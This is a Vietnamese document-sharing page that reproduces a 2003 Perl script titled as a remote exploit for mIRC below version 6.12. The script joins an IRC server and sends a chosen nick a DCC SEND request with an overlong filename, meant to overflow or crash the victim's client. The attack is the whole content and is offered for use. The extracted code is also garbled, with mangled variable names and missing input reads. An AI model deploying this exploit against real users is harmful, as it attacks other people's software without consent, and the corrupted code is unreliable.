Remote Exploit For Mirc Versions Below 6.12

Chia sẻ: Ai Dieu | Ngày: | Loại File: DOC | Số trang:2

Báo xấu

72
lượt xem 2
download

Download Vui lòng tải xuống để xem tài liệu đầy đủ

Chủ đề:

Lưu

Nội dung Text: Remote Exploit For Mirc Versions Below 6.12

Remote Exploit For Mirc Versions Below 6.12 trang này đã được đọc lần Submits the code: powwow Submits the date: 20031105 Code attribute: longdistance CODE #! /usr/bin/perl w use IO::Socket; # get irc server to connect to, and nick to exploit. print " Enter Serv: "; chomp ($serv= ); print " Enter Nick: "; chomp ($nick= ); #setup connection $ocket = IO::Socketc::inet > new ( PeerAddr= >" $serv ", PeerPort= > '6667' ) || die " could not connect to $serv: $! "; #$| = 1; #$ocket > autoflush (); ne= ""; until ( ne =~ /Ident/) { $oldline= ne; ne = ; if ($oldline ne ne) { print ne; } } print $ocket " user ident irc name ircname\n "; #send ident/ircname info ne= ""; until ( ne =~/PING/) { $oldline= ne; ne = ; if ($oldline ne ne) { print ne; } } ne =~ s/. *://; print $ocket " PONG: ne\n "; print $ocket " nick thssmnck\n "; print $ocket " privmsg $nick: DCC SEND \ " a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a \ " 1079095848 666 \n ";